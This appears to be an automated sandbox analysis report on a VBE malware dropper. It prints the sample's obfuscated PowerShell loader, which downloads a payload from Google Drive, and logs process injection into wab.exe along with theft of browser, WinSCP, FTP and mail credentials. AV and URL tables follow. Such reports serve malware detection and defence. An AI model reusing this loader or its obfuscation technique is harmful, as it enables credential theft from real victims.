.wk.n.el,rochagld.a&fristd.e=ac1n,t utax o3inpkagrov .qomo mu ayreud.nov0unpmovfifa.0s.s ,1prvchusao,eok.v,upv,zvace 7ar6phtud5 ';$bourre=immatrikulationens 's,>i ';$gnier111=immatrikulationens 'friske ix ';$hoodwinked='fiskeflaaderne';$parastades = immatrikulationens ' fegacf,h fo,r .l%k.a epalpspdjiaoutpeau,%,l\frbmoe ol ylatet rkiipacun7c.4 f.g,ab,f rsek fo&st&k, hecyc dhkloco u.t n ';influerende (immatrikulationens 'ti$exgallidohubbea klsa: .cdehjeahecspocun nn fegur us j1 s7a,2.v=be(caccammads si/tucex co$p.ptwasirdeas.s,ft aaaedreekospe),r ');influerende (immatrikulationens 'sn$s.g olcuofobtuanoll :krhkoybag .idiei,junnske uk oo amvemeksmii oo .nubedenudsw,= t$derjae.jd ee .sbiiingopn,sayat risonfeg t.c.s.vpb.lgei stun(fa$ ub o au.tr frbyep.) ');influerende (immatrikulationens ' t[ in ieurtps.p s,berer iv .iticreedupplo iiafno,tlims,alin ta hg mekordi]no:fi: spre,gcs,utir iunt,eyampbrrceo ettrouscstosvl e ,o= t i [anndreunt.k.f sdeewectuu .r.hi ,t,myatp.tr sohitfoom,cduo lunt.uy apsle r] l:s.: ,toflsmspa1un2 a ');$redesignating=$hygiejnekommsionens[0];$fangstbaaden190= (immatrikulationens 'am$,igunlhaoeqbkla.al,e:.lkcoosun ,sfoe rk mvteec,nl,thjeposos=.mnfieopws -w,o ab .jbleincdetca ths pyresanttee .mmu.epn kep.t a.s,wsoe,ebovc .lfaikbea.nlkt');$fangstbaaden190+=$chaconners172[1];influerende ($fangstbaaden190);influerende (immatrikulationens 'ar$tokfookvnovsk.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds nugacities komedianter104 palatalise hygiejnekommsionens redesignating ungrubbed fondshandler fiskeflaaderne discophile curarize anmeldtes refracting hellenizer teknologipolitiks generalstabskorts dubitate blodfattigheds helcology cavillation fallesen alouatta vitial unemptiable datasikkerheds';if (${host}.currentculture) {$smaastykker++;}function immatrikulationens($marios){$syntomy=$marios.length-$smaastykker;$pronenesses='substri';$pronenesses+='ng';for( $dipsomaniacs=2;$dipsomaniacs -lt $syntomy;$dipsomaniacs+=3){$nugacities+=$marios.$pronenesses.invoke( $dipsomaniacs, $smaastykker);}$nugacities;}function influerende($svippedes){ . ($gnier111) ($svippedes);}$sclaffs=immatrikulationens 'humn,ogazhuikal,elbeada/p,5la.fr0ru he(a wpuicun udkuo .wsls l .n step li1 b0fy.p,0.y;i. .ewcaib,ns,6di4te;vi bx,o6e.4,i;no burulvgl:un1co2sy1d.. u0 n)sw igscev c.hkcyono/ c2ch0cu1tr0di0ko1dr0pe1li awf.ni drareorft.osixco/r 1 2re1 j.so0.a ';$dissers=immatrikulationens 'g u es ne .r,e-ida agemes,nsttso ';$redesignating=immatrikulationens ' rhaft ctbeps sku:va/ p/ .datrudif,vovesa. ugtaosko,eg ulsoeca.syc uo emve/,eubeckr?d,ecoxi,p ko ,r stin=,ediro .wk.n.el,rochagld.a&fristd.e=ac1n,t utax o3inpkagrov .qomo mu ayreud.nov0unpmovfifa.0s.s ,1prvchusao,eok.v,upv,zvace 7ar6phtud5 ';$bourre=immatrikulationens 's,>i ';$gnier111=immatrikulationens 'friske ix ';$hoodwinked='fiskeflaaderne';$parastades = immatrikulationens ' fegacf,h fo,r .l%k.a epalpspdjiaoutpeau,%,l\frbmoe ol ylatet rkiipacun7c.4 f.g,ab,f rsek fo&st&k, hecyc dhkloco u.t n ';influerende (immatrikulationens 'ti$exgallidohubbea klsa: .cdehjeahecspocun nn fegur us j1 s7a,2.v=be(caccammads si/tucex co$p.ptwasirdeas.s,ft aaaedreekospe),r ');influerende (immatrikulationens 'sn$s.g olcuofobtuanoll :krhkoybag .idiei,junnske uk oo amvemeksmii oo .nubedenudsw,= t$derjae.jd ee .sbiiingopn,sayat risonfeg t.c.s.vpb.lgei stun(fa$ ub o au.tr frbyep.) ');influerende (immatrikulationens ' t[ in ieurtps.p s,berer iv .iticreedupplo iiafno,tlims,alin ta hg mekordi]no:fi: spre,gcs,utir iunt,eyampbrrceo ettrouscstosvl e ,o= t i [anndreunt.k.f sdeewectuu .r.hi ,t,myatp.tr sohitfoom,cduo lunt.uy apsle r] l:s.: ,toflsmspa1un2 a ');$redesignating=$hygiejnekommsionens[0];$fangstbaaden190= (immatrikulationens 'am$,igunlhaoeqbkla.al,e:.lkcoosun ,sfoe rk mvteec,nl,thjeposos=.mnfieopws -w,o ab .jbleincdetca ths pyresanttee .mmu.epn kep.t a.s,wsoe,ebovc .lfaikbea.nlkt');$fangstbaaden190+=$chaconners172[1];influerende ($fangstbaaden190);influerende (immatrikulationens 'ar$tokfookvnovsk.edok,	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Program Files (x86)\Windows Mail\wab.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Code function: 16_2_007E3675 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

16_2_007E3675

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0000000F.00000002.882856308898.0000000020C85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 9032, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	121 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	212 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Obfuscated Files or Information	Security Account Manager	125 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	431 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	14 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Inquiry Studbolt - 240703.vbe	5%	Virustotal		Browse
Inquiry Studbolt - 240703.vbe	3%	ReversingLabs	Win32.Dropper.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
drive.google.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://drive.goog	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png4	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
http://nuget.org/NuGet.exe	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://drive.google.com/uc?ex	0%	Avira URL Cloud	safe
https://drive.google.com/u	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://drive.goog	1%	Virustotal		Browse
http://pesterbdd.com/images/Pester.png4	10%	Virustotal		Browse
https://go.micro	0%	Avira URL Cloud	safe
https://drive.google.com/uc?ex	2%	Virustotal		Browse
https://drive.google.com/u	0%	Virustotal		Browse
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
http://nuget.org/NuGet.exe	0%	Virustotal		Browse
https://contoso.com/License	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngh	12%	Virustotal		Browse
https://drive.google.	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html4	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	1%	Virustotal		Browse
https://drive.go	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://drive.google.	0%	Virustotal		Browse
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Virustotal		Browse
https://contoso.com/License	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html4	0%	Virustotal		Browse
https://aka.ms/pscore6lB7q	0%	Avira URL Cloud	safe
https://drive.goo	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://github.com/Pester/Pester4	0%	Avira URL Cloud	safe
https://drive.google.com/FP	0%	Avira URL Cloud	safe
https://drive.g	0%	Avira URL Cloud	safe
https://drive.goo	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
https://drive.google.com/uc	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester4	0%	Virustotal		Browse
http://crl.microso	0%	Avira URL Cloud	safe
https://drive.google.com/	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	0%	Virustotal		Browse
https://drive.googl	0%	Avira URL Cloud	safe
https://drive.google.com/uc	1%	Virustotal		Browse
https://drive.google.com/uc?e	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Avira URL Cloud	safe
https://github.com/Pester/Pesterh	0%	Avira URL Cloud	safe
https://drive.google.com/uc?e	2%	Virustotal		Browse
https://drive.google.com/	1%	Virustotal		Browse
http://pesterbdd.com/images/Pester.png	9%	Virustotal		Browse
https://nuget.org/nuget.exe	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.htmlh	0%	Avira URL Cloud	safe
https://drive.google.com	0%	Avira URL Cloud	safe
https://github.com/Pester/Pesterh	0%	Virustotal		Browse
http://ip-api.com	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com	0%	Avira URL Cloud	safe
https://github.com/Pester/PesterXz	0%	Avira URL Cloud	safe
https://drive.google.c	0%	Avira URL Cloud	safe
https://nuget.org/nuget.exe	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.htmlh	0%	Virustotal		Browse
https://drive.usercontent.google.com	1%	Virustotal		Browse
https://drive.google.com	1%	Virustotal		Browse
https://aka.ms/pscore68	0%	Avira URL Cloud	safe
https://github.com/Pester/PesterXz	0%	Virustotal		Browse
https://apis.google.com	0%	Avira URL Cloud	safe
http://ip-api.com	0%	Virustotal		Browse
https://drive.google.com/uc?	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	Avira URL Cloud	safe
https://oneget.org	0%	Avira URL Cloud	safe
https://drive.google	0%	Avira URL Cloud	safe
https://drive.google.co	0%	Avira URL Cloud	safe
http://ip-api.com/line/?fields=hosting	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Virustotal		Browse
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.191.110	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	172.217.2.33	true	false	1%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pesterbdd.com/images/Pester.png4	powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.882848532717.000002165B480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882926973942.0000021669E6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005737000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000009.00000002.882848532717.000002165B100000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.goog	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.com/uc?ex	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.com/u	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000009.00000002.882848532717.000002165C0DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000009.00000002.882848532717.000002165B32B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.878910754934.0000000005874000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	wab.exe, 0000000F.00000002.882847947414.0000000005102000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878864713619.0000000005134000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.0000000005102000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html4	powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.go	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.882848532717.000002165B300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB7q	powershell.exe, 0000000D.00000002.878906475177.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.goo	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	powershell.exe, 00000009.00000002.882848532717.000002165A2CD000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.878845630299.0000000005134000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester4	powershell.exe, 0000000D.00000002.878906475177.0000000004828000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.com/FP	wab.exe, 0000000F.00000002.882847947414.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.g	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000009.00000002.882848532717.000002165A028000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.google.com/uc	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microso	powershell.exe, 0000000D.00000002.878917749751.0000000008716000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	powershell.exe, 00000009.00000002.882848532717.000002165C802000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.882847947414.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.880185049304.00000000050AD000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
